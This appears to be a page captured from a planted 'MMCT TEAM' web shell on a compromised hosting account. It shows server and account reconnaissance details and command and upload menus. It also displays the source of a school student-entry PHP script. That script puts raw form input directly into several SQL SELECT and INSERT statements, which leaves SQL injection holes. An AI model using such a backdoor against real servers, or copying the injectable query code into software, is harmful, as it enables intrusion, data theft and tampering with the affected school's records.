MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/Student_entry_php.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 

?>

<?php

require_once './config/config.php';
if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{
$Std_Name=ucwords($_POST["Std_Name"]);
$Sex=$_POST["Sex"];
$Reg_Number=$_POST["Reg_Number"];
$Class=$_POST["Class"];
$Division=$_POST["Division"];
$Phone=$_POST["Phone"];
$email=$_POST["email"];



$sql=mysqli_query($con,"select * from stud_basic where Name = '$Std_Name' and Phone = '$Phone' ");
$sql1=mysqli_num_rows($sql);

if($sql1 != 0)
{
	?>
	<script>
	document.location="Student_entry.php";
	alert("Duplicate Entry");

	</script>
	<?php
	
}else
{


mysqli_query($con,"insert into stud_basic (`Name`,`Gender`,`Class`,`Division`,`Reg_No`,`Phone`,`Email`)  values ('$Std_Name','$Sex','$Class','$Division','$Reg_Number','$Phone','$email')")or die(mysqli_error($con));

$key=mysqli_insert_id($con);

if (isset($_POST['Heads']))
  if ($_POST['Heads'] != NULL)
  {
        $head_ids=$_POST['Heads'];
          
        $id_res=mysqli_query($con,"SELECT MAX(`Stud_Id`) FROM `stud_basic`")or die(mysqli_error($con));
        $sid=mysqli_fetch_array($id_res);  
        foreach($head_ids as $head_id)
        {
            $r7=mysqli_query($con,"SELECT * FROM `head` WHERE `Head_Id` = '$head_id' ");
            while($row7=mysqli_fetch_array($r7))
            {
                //echo "$row7[Name]<br>";
                $subhead=explode("/",$row7['SubHeads']);
                
                foreach($subhead as $sub)
                {
                    $r8=mysqli_query($con,"SELECT * FROM `sub_head` WHERE `Sub_Id` = '$sub' ");
                    $row8=mysqli_fetch_array($r8);
                    //echo "$row8[Sub_Id]<br>";
                $r=mysqli_query($con,
                "INSERT INTO `stud_basic2` 
                ( `Stud_Id`, `Head_Id`, `Subhead_Id`, `Total_Amount`, `Paid`, `Balance`, `discription`) 
                VALUES 
                ('$sid[0]', '$head_id', '$row8[Sub_Id]', '$row8[Amount]', '0', '$row8[Amount]', '')");

                }
                
            }
       
        }         
  }
  echo"<script>window.location='Pay_fees.php?key=$key';</script>";
}
}else{
	
	header('location: dashboard.php');
}
?>

MMCT - 2023